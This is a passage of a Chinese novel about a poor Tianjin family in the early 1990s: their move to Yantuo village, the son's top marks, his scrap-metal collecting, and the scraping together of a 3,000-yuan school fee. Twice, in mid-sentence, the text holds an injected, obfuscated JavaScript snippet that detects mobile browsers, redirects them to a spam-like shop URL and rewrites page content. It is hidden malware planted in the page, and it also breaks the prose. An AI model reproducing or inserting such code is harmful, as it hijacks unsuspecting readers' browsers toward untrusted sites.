姚建国坐在车厢的柜子顶上，没听见。他在看天，看那颗将熄的启明星。风把他本就稀疏的头发吹得根根直立，他觉得自己像支快烧到过滤嘴的烟，那点可怜的火星在风里明明灭灭，不知何时就彻底暗了。 车过海河时，太阳磨磨蹭蹭出来了。河面上金粼粼的，晃得人眼花。运沙船突突驶过，毫不留情地搅碎一河脆弱的金光。金刚桥上的电车正开过，辫子和电线擦出细碎的蓝火花，噼啪，噼啪，像在鼓掌欢送，也像在嘲弄地告别。 卡车继续往北，开上盐坨桥时，车速慢了下来。这座一九八六年才建好的桥长得望不到头，姚华数着桥灯，一盏，两盏……数到眼花。桥下的新开河水泛着铁锈色的光，沉默地流向比盐坨村更远的荒地。络腮胡司机拍了拍方向盘，像在拍老伙计的肩：“瞧见没，孩儿，盐坨桥，六百多米长呢。你爸要去的盐坨村，就在桥那头。” “为嘛叫盐坨？”姚华把脸贴在冰冷的车窗上。 “老早老早的事儿喽。”司机点了支烟，烟雾立刻模糊了车窗，“明朝那会儿，这块地界是皇家的盐厂，南边运来的长芦盐，堆得跟小山似的，就叫‘盐坨’。县志上白纸黑字写着——‘前明堆贮贡盐之地’。贡盐，那可是专给皇上吃的。” 姚华想象不出皇上吃的盐是嘛样。他只知道家里粗瓷罐里的盐，总爱结硬块，炒菜时得用刀背使劲敲。那些雪白的、堆成山的贡盐，早化在几百年的风和雨里了，只剩下个地名，印在桥头的牌子上，蓝底白字，像个被时代遗忘的、褪色的戳记。 车过桥时，姚华看见桥栏杆上斑驳的锈迹。才五年光景，这座桥已被河风和水汽啃噬得老态龙钟。桥那头，盐坨村的轮廓在晨雾里浮现，低矮的平房毫无生气地趴在地上，像一群累垮了的、等待宰杀的牲口。 张玉芬坐在车厢角落，手紧紧抓着捆箱子的麻绳，指节发白。她想起二十三岁嫁过来那天，坐的是三轮车，车把上系着寒酸的红绸。那时银行里筒子楼还是新的，红砖墙在阳光下像抹了劣质胭脂。邻居们挤在楼道里看新娘子，王寡妇那时候还没寡，嗓子亮，唱了段《红娘》，能把云彩穿透。 麻绳粗糙，勒进掌心，生疼。她松开一点，又立刻攥紧。总得抓住点嘛，哪怕是根绳子。 盐坨村比记忆里更荒凉。土路被各种车辆轧出深深的辙，雨后积着浑浊的泥水，倒映着同样灰白黯淡的天。新家在村西头，是排红砖平房的倒数第二间。门牌是蓝漆写的“27”，漆滴下来一道，像道凝固的泪痕。 姚建国跳下车，几乎是冲过去的。门没锁，一推就开，吱呀一声，像声叹息。屋里空荡荡，水泥地返着潮气，墙角洇出深色的水印，像地图上陌生的疆域。他迫不及待地大步量着，一、二、三……整整十二步！“十二平！没跑儿！”他朝门外喊，声音在空屋里撞出空洞的回响，显得那“赚了”的喜悦有些单薄。 张玉芬走进去，先看窗。窗外确实是胡表舅口中的“院”——五米见方的一片泥地，边上杂乱堆着煤渣砖，砖缝里钻出枯黄倔强的草。远处是所谓的“铁道沟”，废弃的铁轨在杂草里时隐时现，像条僵死已久、正在慢慢锈烂的长虫。 “院大吧？”姚建国跟进来，脸上泛着红光，不知是兴奋还是早晨的冷风吹的，“夏天咱种点葱，种点茄子……对了，还能搭个葡萄架！” 姚华抱着书站在门口，脚像钉住了，不肯迈过那道高门槛。门槛木头被虫蛀了，露出海绵状的、不堪一击的芯子。屋里有种陌生的气味，不是银行里熟悉的尿臊和油烟，也不是盐坨桥上铁锈和河水的气息，而是石灰粉混着陈年霉味、属于无数前住户的、复杂而陌生气息。 搬运工把家具搬进来，在空旷的十二平米里，它们显得更小、更寒酸了。床放哪儿，柜子放哪儿，桌子放哪儿——这些在筒子楼里固定了十年、仿佛天经地义的位置，在这里都要重新定夺。姚建国和张玉芬爆发了短暂而激烈的争执： “床靠东墙！东墙朝阳！” “东墙潮！你没看见水印子？” “那靠西！” “西边是门，漏风！冬天喝西北风啊？” 最后床还是靠了东墙。摆好后，姚建国得意地拍拍床板，灰尘在昏暗的光线里飞舞：“介儿好！太阳晒得着！去潮气！” 他选择性忽略 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119410|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了墙上那片地图状的水渍。 后晌，邻居们陆续来“认门”，带着好奇与审视。前屋是个鞋匠，姓赵，一口金牙说话时闪啊闪，像某种神秘的摩斯密码。“介屋啊，”他吐着烟圈，烟雾缭绕中眯着眼，“前头住的老吴头，上个月刚没。” “咋没的？”姚建国递过去一支烟。 “脑淤血。”赵鞋匠用夹烟的手随意指了指东墙，“就倒那儿，发现时人都硬了。” 张玉芬正拿着抹布擦东墙的手，瞬间僵住了。那块水渍，突然有了具体的形状和温度。 后屋是对年轻夫妻，女的挺着大肚子，像揣着个巨大的希望（或负担）；男的沉默地站在门口阴影里，像根没有表情的木桩。女人送来一碗五香面腌的青萝卜条儿：“自己家做的，咸了淡了的，别介意。”张玉芬接过粗瓷碗，看见女人手指上紫红色的冻疮，裂着口子，像熟透到快要溃烂的桑葚。 天黑下来，新家第一次亮起灯。灯泡是十五瓦的，光线比银行里的二十五瓦还要昏黄黯淡。影子在墙上被拉扯得巨大、扭曲，姚建国倒水时，他的影子像在倾倒一条黑色的、无声的河。 晚饭吃的是早晨剩的凉馒头，就着那碗咸得齁人的腌萝卜条儿。姚华吃得直喝水。水是从几十米外公共水龙头接的，有股浓重的铁锈味，比盐坨桥下的河水味更直接、更粗鲁地钻进喉咙里，带着一股子不容分说的占领意味。 “明儿就去弄煤气罐本儿，”姚建国就着咸味规划新生活，话语有了实在的锚点，“还得换粮本，换副食本……对了，华子转学的事儿，我下礼拜就去村小办。” 姚华没应声。他在桌子底下偷偷翻开《三国演义》，就着那盏吝啬的灯光看。字在跳跃，模糊成一片。翻到被粘反的那一页，他突然想起了白天的盐坨桥——那座长长的、连接着两个截然不同世界的桥。桥这头是银行里褪色的旧日子，桥那头是盐坨村茫然的新日子。桥下流了几百年的河水，见过堆成山的贡盐，也见过无数像他家一样，怀揣着渺茫希望搬迁而来的人家。故事接不上，不是因为书页破了，是因为生活里有些事，本来就接不上茬。就像银行里的日子和盐坨村的日子，中间隔着那座六百多米长的桥，桥面上每一道新鲜或陈旧的车辙，都是一个沉甸甸的、无人回答的“为嘛”。 夜里，姚建国鼾声如雷，新环境似乎让他睡得格外踏实，梦里大概还在量房子、算平米。张玉芬睁着眼看天花板，那里有片巨大的水渍，边缘晕染开，形状竟有几分像中国地图。她在那片模糊的版图上寻找天津，寻找银行里，找到眼睛发酸、发涩。最后，她的目光定在墙角——那里有一层薄薄的、不起眼的白色粉末，不知是墙皮不堪潮气自行剥落，还是从这片古老盐碱地深处泛上来的、遥远的盐的魂灵。 姚华蜷在床尾，薄被子盖不住脚。他听着窗外完全陌生的声音：不是筒子楼里王寡妇婉转的评剧，也不是陈师傅修车时叮叮当当的敲打，而是旷野的风声，无所顾忌地掠过铁道沟和煤渣堆，发出呜呜的鸣叫，像很多人在远处哭，又像很多人在更远处笑。偶尔，风里会艰难地捎来盐坨桥上车流沉闷的滚动声，那是城市尚未完全断绝的、微弱的脉搏。 他悄悄爬起来，从书包里掏出白天没交的作文本。老师布置的题目是《我的家》，他对着空白的格子发了一下午呆，一个字没写。现在，他趴在小方凳上，就着窗外透进来的、清冷的月光写： “我的家在银行里筒子楼三楼左边那间。门口水池子第三个龙头滴水最慢。寡妇王姨天天下午唱‘巧儿我自幼儿许配赵家’。陈师傅的自行车零件堆成了山。李婶家晚上炒韭菜最香。我的家不大，但我知道它确切在哪儿，从学校闭着眼都能走回去。” 写到这里，笔尖停了。他听见母亲在黑暗里翻了个身，传来一声很轻、很轻的叹息，轻得像羽毛，却重重落在他心里。他把这页纸小心撕下来，折成小小的方块，塞进《三国演义》封皮的夹层里，仿佛把旧家藏进一个故事的保险箱。然后，他把作文本上剩下的空白页全部撕掉，撕得很碎，很碎，碎得再也拼凑不出一个完整的句子，一个关于“家”的清晰定义。 碎纸片从指缝间簌簌漏下，落在返潮的水泥地上，白花花一片，像突然降下的雪，像春天无根的柳絮，也像络腮胡司机所说的、那些早已风化消失在历史尘埃里的、雪白的贡盐。 窗外，铁道沟那边不知名的工厂传来夜班汽笛声。呜——呜——，长长的，拖沓的，像在给什么举行漫长的葬礼，又像在疲惫地迎接另一个重复的黎明。这声音努力越过盐坨桥，试图混入更远处城市模糊的喧嚣，最终却徒劳地消散在1991年秋天深沉的夜风里，留不下任何痕迹。 姚华躺回冰冷的被窝，闭上眼睛。他开始数数，数到一百就睡，这是在银行里养成的、对抗嘈杂的老习惯。但今夜，数到一百，脑子里还是清醒得像水洗过。他继续数，二百，三百……数到四百九十七时，听见父亲在梦里含糊而满足地嘟囔：“十二平……嘿……赚了……” 他默默地把被子拉上来，捂住了耳朵。 月光无声地移过窗棂，照在墙上那片地图状的水渍上。那片形似盐坨村的角落，正好落在一片深深的阴影里，黑漆漆的，嘛也看不清，摸不着。只有铁道沟的风还在不知疲倦地呜咽，吹过煤渣砖，吹过枯草，吹过这个十二平米、崭新却又无比陈旧的家。风里也许还夹带着元明时代盐粒的、肉眼看不见的尘埃，轻轻落在窗台那层白霜似的粉末上，无人知晓，也无人在意。 4. 第四章 村小的天才 盐坨村小学的光荣榜统共只有半张挂历纸大，拿图钉按在传达室外墙上。红纸每年一换，旧的也不糟蹋，正好糊窗户缝，挡风。一九九四年冬天，姚华的名字第三回洇在那红纸上。墨吃得深，瞧着就比别的名字黑，跟盖了个戳似的。 校长姓于，退伍炮兵，说话像喊口令，一句话能把人顶一跟头。期末大会，他把姚华拎到旗杆底下，那手指头枯树枝似的，戳着成绩单：“语文九十八，数学一百，自然一百。”声音砸在冻硬的地面上，能砸出坑来。“都瞅瞅！这才叫念书！” 底下的学生仰着脸，哈出的白气连成一片雾。袁浩（外号大耗子）在第三排专心抠鼻子，他爹是村里杀猪的。去年光荣榜上也有他，在姚华下面隔五个人名。今年掉到第十五，回家挨了顿笤帚疙瘩，屁股肿得三天没敢挨凳子。 “介孩子，”于校长转身，冲着缩在人群里的张玉芬，声音低下来，可还是像打雷，“得去市里念。搁这儿，白瞎了。” 张玉芬裹着件灰扑扑的棉猴，袖口磨得发亮，能照见人影。她一个劲儿搓手，手上的冻疮裂了口子，渗血丝，风一吹，又冻住了。她张了张嘴，没出声，只点头。点得狠，嘎嘣脆，像要把脖子撅折了。 散了会，姚华留下扫礼堂。说是礼堂，其实就是间大点的平房，摆三十张瘸腿课桌，一推吱呀乱叫。扫帚划过水泥地，沙沙的，干巴巴的，像挠墙皮。于校长蹲门槛上卷烟，烟丝是自家种的旱烟，劲儿冲，呛得人直流泪。 “你爹呢？”于校长眯着眼问，烟雾把他脸都糊住了。 “知不道。” “又喝去了？” 姚华没应声，把簸箕里的土倒进铁皮桶。土里有粉笔头、纸飞机、半块橡皮，橡皮上刻着“大耗子”，刻得歪歪扭扭，倒挺深。 于校长吐出口浓烟，那烟在冷空气里凝着，半天不散。“你妈不易，”他说，“你得争气。” 姚华点头。他早明白了——在这个家，争气是他一个人的活儿，像背着一座山走路，不能停，停了山就塌，先砸死的指定是自己。 回家的路得穿过整片菜地。冬天菜地秃了，垄沟结着冰凌，跟镶了牙似的。远处友谊罐头厂的烟囱冒着黄烟，那是加工午餐肉的味儿，油腻腻，黏糊糊，飘过来糊嗓子眼。姚华记得夏天这儿种满茄子，紫黑的茄子沉甸甸垂着，一个个跟沉默的拳头似的。 路过盐坨桥，他习惯性站一会儿。桥还是那么长，六百四十三米，一眼望不到头。冬天的风从新开河面上刮过来，像小刀子，专割脸。桥栏杆上的锈更深了，一块块往下掉，露出里头灰白的水泥，跟骨头碴子似的。桥上没几辆车，偶尔有辆拖拉机突突开过，车斗里装着冻白菜，绿叶子在风里硬邦邦地晃，像在打摆子。 姚华想起于校长说过，这桥修好才八年，比他还小两岁。可桥看着比村里五十岁的人还老。桥墩上留着夏天洪水的水痕，离桥面只剩一米多。赵鞋匠总叨叨，往后水更脏，鱼都得绝种。 家里倒是热闹。姚建国不知打哪儿弄来半瓶直沽高粱，正给几个酒友倒酒。桌上就两碟：一碟炒果仁儿，一碟蛰皮拌白菜心。酒友都是附近的闲汉，棉袄油光锃亮，脸被酒精腌成了酱萝卜色。 “我儿子！”姚建国瞅见姚华，嗓门一下子拔到房梁上，“全年级第一！杠杠的！” 酒友们跟着起哄，举起酒盅，咕咚就是一口。姚华低头钻进里屋，把书包挂门后。那书包是张玉芬用旧帆布改的，缝线歪得像喝醉了酒的蜈蚣。 外屋划拳声震天响：“五魁首啊！六六六！” 张玉芬在厨房蒸窝头，玉米面掺了点儿白面，蒸汽把窗户糊得严严实实。她透过水雾看儿子，嘴唇动了动，最后啥也没说，只掀开锅盖，捡出最圆乎的一个，掰开，夹了一筷子咸菜丝。 “趁热吃。” 窝头烫手，姚华左手倒右手。咸菜是入冬腌的芥菜疙瘩，齁咸，可就着窝头，竟能嚼出点甜味儿。 “校长说……”张玉芬开了口，又卡住。她用抹布擦灶台，擦了一遍又一遍，木头灶台快被她擦出火星子了。 “说啥？” “说你能上重点中学。” 屋里静了一瞬。外屋划拳声恰好停了，只剩煤炉子呼呼的喘气声。然后姚建国的声音炸进来：“重点？哪所？” “还没定，”张玉芬声儿小得像蚊子哼，“得考，还得……还得花钱。” “花钱”俩字像两颗生锈的钉子，一下子把空气钉死了。姚建国趿拉着鞋进来，酒气能把人熏个跟头。“多少？” “知不道，得打听。” 姚建国盯着儿子看，眼神浑浊，像在打量一件陌生的物件，掂量着值几个钱。许久，他转身出去，酒友们识趣，呼啦散了。那半瓶酒还剩个底儿，在桌上孤零零站着，怪可怜。 夜里，姚华梦见自己在考试。试卷上的字都在游，像水里黑压压的蝌蚪。他拼命写，笔尖却嘎巴断了，断口涌出黑汁，淹了整张桌子。 醒来天还没亮。他听见父母在说话，声儿压得低，像地底下暗河流淌。 “……把自行车卖了？” “那车还能骑。” “骑啥骑，铃铛都不响了，除了铃不响哪儿都响。” “卖了能凑多少？” “百八十块吧。” 沉默。然后是张玉芬一声长长的叹息，长得像是要把这辈子吸进去的气都叹出来。 姚华闭上眼，开始数数。数到一百时，他决定明天就去铁道沟捡废铁。袁浩说过，废铁站收铁，一斤一毛二。钱是一分一分攒的，路是一步一步挪的。 盐坨村小学的作息，比老座钟还准。早晨七点半打铃，下午三点半放学。铃是截铁轨，挂老槐树上，校长拿锤子敲，咣——咣——，震得树上的麻雀扑棱棱乱飞，跟下饺子似的。 姚华开始用放学后的时间。他背个破麻袋，沿着铁道沟走。沟是早年挖津蓟铁路留下的，废了多年，铁轨早拆了，枕木也被村民扛回家当柴烧。但碎石缝里总有点惊喜：生锈的道钉、断裂的鱼尾板、偶尔还有半截钢轨，埋得深，得用撬棍。 去铁道沟得穿过盐坨桥。桥下的河岸长满枯芦苇，风一吹，哗啦啦响，跟很多人有气无力地鼓掌似的。姚华发现桥墩周围是块宝地——螺丝帽、铁垫片，还有被河水冲上来的废旧零件。他猜是过桥的卡车掉的。那些卡车从市区来，往北边县里去，车上载着姚华叫不出名的机器。有时零件掉下来，摔在桥面上，“咣当”一声，可没人停车捡。它们就躺在那里，被后来的车轧，轧进沥青里，最后让养路工撬出来，一脚踢到桥边，骨碌碌滚下河坡。 撬棍是从温州的赵鞋匠那儿借的。赵鞋匠年轻时在铁路段干过，工具箱里啥稀奇玩意儿都有。他借撬棍给姚华，不收钱，只要求每次来给他讲讲学校的新鲜事。 “于校长还‘开炮’不？”赵鞋匠问。他说的“开炮”是于校长的招牌——批评学生时总爱说“老子当年一炮轰平山头”。 “开，”姚华说，“昨儿刚‘轰’了大耗子（袁浩），说他脑子里装的都是猪油。” 赵鞋匠就嘿嘿乐，露出那颗不锈钢做的假牙，亮闪闪的。他一边补鞋一边听，锥子在鞋底穿进穿出，噗嗤噗嗤，像在给鞋讲故事。 捡废铁是门学问。姚华很快发现，最好的地方不是铁道沟，而是友谊罐头厂后墙的垃圾堆。厂里常扔报废的机器零件，铸铁的，死沉，压秤。但看门老头凶得像门神，得趁他打盹时翻墙。 头一回翻墙是在十一月底。那天刮西北风，垃圾堆的腐臭味被吹散不少。姚华踩着砖缝爬上墙头，墙头插着碎玻璃，他像跨地雷阵似的跨过去。落地时一脚踩进油污里，摔了个结结实实，手掌擦掉块皮。 可他找到了宝贝——半个齿轮，有脸盆大，锈成了土褐色。他吭哧吭哧拖到废铁站，过秤，七斤八两。收铁的老头叼着烟袋，眯眼瞅他：“小孩儿，哪捡的？” “铁道沟。” 老头笑了，露出一口被烟熏得焦黑的牙。“铁道沟可长不出这玩意儿。”但他没再多问，数出九毛三分钱，硬币，叮叮当当塞进姚华手里。 九毛三。姚华攥着钱往家走，硬币硌得手心发红。路过村口小卖部，他停下。橱窗里摆着带橡皮头的铅笔，一毛二一支；还有巧克力威化，两毛一块。他看了很久，最后啥也没买。钱得用在刀刃上，虽然他现在还不知道刀刃在哪儿。 钱藏在床垫下面，用作业纸包着。张玉芬发现了，没说话，只是每天早晨在他书包里多塞一个煮鸡蛋。鸡蛋是自家鸡下的，个小，壳薄，一磕就破，像这个家，小心翼翼。 姚建国也发现了。有天夜里，他醉醺醺掀开床垫，抓起那个纸包。姚华装睡，听见硬币哗啦啦响，然后是一声含糊的嘟囔：“顶个屁用。” 但钱没少。第二天早上，纸包还在老地方，只是多了张五元的票子，皱巴巴，像被揉搓过无数次的心事。 冬天往骨头里钻。菜地冻得像铁板，踩上去咔咔响。友谊罐头厂的烟囱天天冒黄烟，空气里午餐肉的味儿浓得化不开，吸一口能顶半天饿。村里咳嗽的人多了，干咳，夜里一声接一声，跟比赛似的。 于校长又找了一次张玉芬。这次在学校办公室，炉子烧得通红，铁皮烟筒拐着弯伸向窗外，像个问号。 “铁一中，”于校长说，手指在桌面上敲，像在发电报，“市里拔尖的初中。但得考，还得面试。” “啥时候？” “开春。” 张玉芬心里掐算。开春是三月，还有四个月。她问要准备啥，于校长拿出一摞卷子，油印的，字迹模糊，跟长了毛似的。“这些题，让孩子做做。市里的孩子，早做过了。” 卷子带回家，姚华在煤油灯下做。题真难，很多他见都没见过。代数、几何、还有英语——盐坨村小学不开英语课，二十六个字母他认不全，它们认识他，他不认识它们。他咬铅笔头，咬出深深的牙印，像要把知识啃下来。 姚建国凑过来看，抻着脖子瞅了半天，说：“这画的都是啥？曲里拐弯的。” “题。” “题长这样？”他摇摇头，晃悠着出去，门摔得山响，震落墙上一缕灰。 张玉芬坐在炕沿上纳鞋底。锥子扎过千层底，发出沉闷的噗噗声。她不时抬头看儿子，眼神复杂，像骄傲，又像害怕，怕这骄傲太沉，把孩子压垮。 夜里，姚华梦见自己站在实验中学门口。学校大门是铁艺的，缠着枯藤。他想进去，门却关了，枯藤突然疯长，缠住他手脚。他挣扎，藤蔓越缠越紧，勒进肉里，疼醒了。 一身冷汗。窗外，月亮正悬在铁道沟上空，苍白，冰凉，像块过期的干粮。 腊月二十三，小年。村里响起零星的鞭炮声，有气无力。姚建国破天荒没出去喝，早早回家，手里拎着一条冻带鱼。带鱼硬邦邦的，眼睛蒙着白翳，弯成个问号。 张玉芬把带鱼炖了，放好多醋，去腥。吃饭时，姚建国突然开口：“我打听了，铁一中的赞助费，这个数。”他伸出三根手指，粗壮，关节突出。 “三百？”张玉芬问，声音有点飘。 “三千。” 筷子掉桌上。张玉芬捡起来，在衣襟上擦了擦，手一抖，又掉了。她终于没再捡，手垂在腿侧，微微发抖，像风里的枯叶。 姚华低头扒饭。带鱼刺多，他小心剔着，把鱼肉剔得干干净净，只剩一副完整骨架。骨架在盘子里泛着冷光，像件微型艺术品，精致，但没肉。 饭后，姚建国出门了。张玉芬收拾碗筷，动作慢得像电影里的慢镜头，一帧一帧。姚华拿出卷子继续做，煤油灯的灯芯结了朵灯花，他用针挑掉，火光猛地一跳，影子在墙上乱晃。 深夜，姚建国回来了，带着更浓的酒气。他径直走到姚华面前，盯着他看。看了很久，久到姚华以为他又要发火，他却突然抬手，摸了摸儿子的头。手掌粗糙，像砂纸刮过。 “三千，”他重复，舌头有点大，“老子挣。” 三月到了。菜地开始化冻，垄沟里渗出水，浑浊，漂着烂草屑。友谊罐头厂的烟囱依旧冒烟，但味儿变了，不再是午餐肉，换成了糖水桃子的甜腻，闻久了头晕，像醉了。 铁一中的考试定在三月十五。那天姚华穿着张玉芬熬夜赶制的新衣服——蓝布褂子，领子浆得硬邦邦，磨得脖子生疼。于校长特意借了辆二八加重自行车，驮他去考点。后座硌得屁股疼，但姚华没吭声。 过盐坨桥时，于校长蹬得吃力。上桥是个长坡，他站起来蹬，身子左摇右摆，自行车发出痛苦的吱呀声。姚华坐在后座，看见桥下的新开河开始解冻，冰面裂开一道道黑缝，像大地疼出的口子。桥中央，一个养路工正用铁锹铲除积雪，雪混着煤渣，堆在路边。工人穿着橙黄色的反光背心，在灰蒙蒙的天色里，扎眼得像个误入的惊叹号。 “这桥啊，”于校长喘着粗气说，“年年修，月月补。夏天暴雨冲，冬天冻裂口。修来修去，还是个破桥。” 姚华没接话。他数着桥上的灯，数到第四十七盏时，车终于下了坡。桥南头就是市区了，马路突然变宽，楼房突然变高，连空气里的味儿都不一样——不是煤烟和咸菜，是汽油和烤面包混在一块，陌生，但诱人。 考点在一栋旧红砖楼里。楼道很暗，墙上贴着“好好学习天天向上”的标语，红纸褪成了惨淡的粉色。考场里坐满了孩子，穿得五颜六色，有的还戴着鲜红的红领巾，晃眼。 卷子发下来，密密麻麻的字，像蚂蚁搬家。姚华深吸一口气，开始写。笔是赵鞋匠送的，英雄牌，铱金笔尖，出水很顺，是他用过最好的笔。 考完出来，于校长蹲在门口抽烟，烟头一明一灭。“咋样？” “还行。” “啥叫还行？” 姚华想了想，实话实说：“都写上了，对不对就不知道了。” 于校长就笑了，拍拍他肩膀，力道大得能拍碎豆腐。“写上就行！就怕你空着！” 等成绩的日子，像熬一锅糖稀，慢，而且黏稠，扯不断。姚华继续捡废铁，继续做那些让他头大的卷子。姚建国继续天不亮出门，深夜归来，身上那股包子铺的油腻气味似乎浸到了皮肤里。肉馅还是偶尔出现在饭盒里，只是姚华发现，父亲塞饭盒的动作似乎更加警惕，有时会在铺子后门愣愣地站一会儿，四下张望，才把那个小小的铝盒藏进怀里。 四月初，成绩单寄到了盐坨村小学。于校长是跑着送来的，气喘吁吁，脸涨得通红。“过了！”他吼了一嗓子，差点把传达室的窗户纸震破，“笔试过了！” 张玉芬正在腌咸菜，手一抖，半碗盐全撒地上了。姚建国不在家，她慌慌张张跑出去找，在赵鞋匠的摊子前找到他。他正蹲着看人下棋，听说消息，愣了很久，像没听懂。然后他猛地站起来，转身就走，走得飞快，消失在胡同拐角，留下张玉芬和赵鞋匠面相觑。 晚上他回来，破天荒拎着一瓶瓶装酒，不是散装的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119411|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 标签上画着金黄的麦穗。他倒了两杯，一杯给自己，一杯推到姚华面前。 “喝。” 姚华看母亲。张玉芬嘴唇动了动，最终没说话。他端起杯子，抿了一小口，辣，辣得眼泪一下子涌上来，在眼眶里打转。 姚建国哈哈大笑，笑声在低矮的屋里撞来撞去，震落墙角的灰。笑完，他一仰脖子干了杯中酒，抹抹嘴：“面试啥时候？” “下礼拜。” “我陪你去。” 面试那天，姚建国罕见地穿了件干净衣服，是张玉芬压在箱底多年的灰色中山装，肩膀处有深深的折痕，像岁月的刀疤。父子俩坐长途车去市区，车很旧，座椅的海绵都露出来了，一路上吱呀作响，像个哮喘的老人。 铁一中比想象的还大。操场是煤渣跑道，中间立着足球门，门网破了好几个大洞，风一吹，晃晃悠悠。教学楼是四层红砖楼，每扇窗户都擦得锃亮，能照见人影。 面试在一个小教室里。考官是个戴眼镜的女老师，说话声音很轻，很柔，像怕吓着眼前的农村孩子。她问姚华为什么想考铁一中，姚华老老实实说：“想学英语。” “为什么想学英语呢？” 姚华想了想，说：“学会了，就能看懂罐头上的字。” 友谊罐头厂有些出口的罐头，标签上全是弯弯曲曲的洋文。村里没人认得，但都说那是好东西，能卖到外国，换外汇。姚华觉得，能看懂那些字，大概就离那个“好”近了一点。 女老师笑了，推推眼镜，在本子上记了点什么。 出来时，姚建国在走廊等着。他背靠着墙，眼睛盯着天花板上一块水渍，那水渍形状挺怪，像只展翅的鸟，又像歪扭的地图。见儿子出来，他直起身：“咋样？” “不知道。” “老师问啥了？” 姚华重复了一遍对话。姚建国听完，沉默了一会儿，然后咂咂嘴：“罐头……挺好。能出口，不赖。” 回去的车更挤了。有个妇女抱着个不停哭闹的孩子。姚建国站起来让了座，自己挤在过道里，随着车厢摇晃。午后阳光透过脏污的车窗照进来，在他脸上切出明暗交错的光影。姚华突然发现，父亲的黑发里，藏着好些白头发，像没扫干净的雪，落在煤堆上，格外刺眼。他棉袄肩膀处，有一小片洗不掉的油渍，深褐色，是长年累月浸润的结果。 录取通知书是四月底到的。牛皮纸信封，盖着鲜红的公章，沉甸甸的。张玉芬拆信封时手抖得厉害，撕了好几次才撕开。通知书上，“姚华”两个字印得端端正正，下面还有一行小字，像附注，也像判决：赞助费三千元，请于五月十日前缴纳。 晚上，全家围坐在那张油渍麻花的饭桌前。那个塑料布包被请出来，一层层揭开。钱摊在桌上，纸币，硬币，铺了半张桌子，花花绿绿，却让人心头沉甸甸的。张玉芬数，姚华拿笔在旧本子上记，姚建国在边上盯着，一言不发。 数完，两千七百四十三元六角。 还差二百五十六块四。 屋里静极了，只有煤炉子轻微的呼呼声，像在叹气。许久，姚建国站起来，走到屋里那个掉漆的立柜前，打开最下面那个抽屉。他在里面摸索了一阵，拿出一个小布包，走回来，放在那堆钱旁边。 布包解开，是一块旧手表，海鸥牌。表盘玻璃裂了道纹，但指针还在走，发出细微的嘀嗒声，在这寂静里格外清晰。 “这个，”他说，声音有点干涩，“能当点钱。” 这表是他当年在工厂当先进工作者得的奖励，戴了十几年，表带都换过三根。张玉芬看着那块表，又看看丈夫，眼泪毫无预兆地滚下来，一滴，正好砸在裂了的表蒙上。 第二天，张玉芬带着姚华去了市里的信托商店。商店在劝业场附近，橱窗里摆着各式旧物：旧相机、旧收音机、旧皮箱，都静默着，像在展览过往的时光。收表的老师傅戴着寸镜，接过手表，仔细端详，看了很久。 “表蒙裂了，机芯还行，走时还算准，”他慢悠悠地说，“八十。” 张玉芬张了张嘴，想说什么，比如这表当年多贵，多有意义，可最后她只是点了点头，声音轻得几乎听不见：“八十……就八十。” 接过那八张崭新的十元票子时，她的手抖得厉害。她把钱仔细叠好，塞进姚华手里：“拿好了，别丢。” 剩下的窟窿，张玉芬借遍了能开口的亲戚。她一家家上门，话不多，翻来覆去就那句：“孩子考上市里中学了，还差点钱。”有人爽快借了，有人面露难色推脱了。借得最多的是他二舅，五十块；最少的是个远房表姑，掏出手绢包了又包，拿出五块钱，手绢上绣的鸳鸯都褪色了。 五月九号，钱终于凑齐了。整整三千元，用牛皮纸信封装着，鼓鼓囊囊，沉得坠手。姚华捏着那个信封，捏了很久，指关节都泛白了，像是要捏出里面的每一分重量——那里有废铁换的毛票，有包子铺里偷藏出来的油腥，有母亲借来的带着体温的零钱，有父亲那块停了又走的手表。 第二天，张玉芬陪儿子去学校缴费。财务室在办公楼一层，缴费的窗口开得很高，姚华得踮起脚才能看见里面。会计是个面无表情的中年女人，把钱放进点钞机，哗啦啦，哗啦啦，响了很久。那声音，像是数着一家人的筋骨。 缴完费出来，阳光亮得刺眼。张玉芬在台阶上站了一会儿，突然蹲下身，抱住自己的头。肩膀一耸一耸的，但没有哭声。姚华站在旁边，犹豫了一下，把手轻轻搭在她微微佝偻的背上，一下，一下，生涩地拍着。 他想起铁道沟冰凉的废铁，想起友谊罐头厂永不消散的烟，想起煤油灯下那些做不完的卷子。这一切，现在都有了具体的价格，三千块。这价格压弯了母亲的脊梁。 但他知道，这重量不会消失，它只是转移了，最终会稳稳地、沉沉地，落到自己肩上。就像父亲那块停了又走、走了又停的旧表，时间或许凝固在某个艰难而油腻的瞬间，但那嘀嗒声，却顽强地钻进了他的血液里，骨头里，一声，一声，催促着，再也停不下来。 回村的车上，姚华靠着车窗睡着了。他梦见自己变成了那个捡来的齿轮，被扔进通红的熔炉。又梦见自己变成了一团肉馅，在巨大的盆里被反复搅打，顺着一个方向，搅上劲，只为变得“压秤”。火舌舔舐，铁水沸腾；铲起铲落，油脂交融。最后他冷却定型，坚硬而沉重，值九毛三分钱，也值更多。 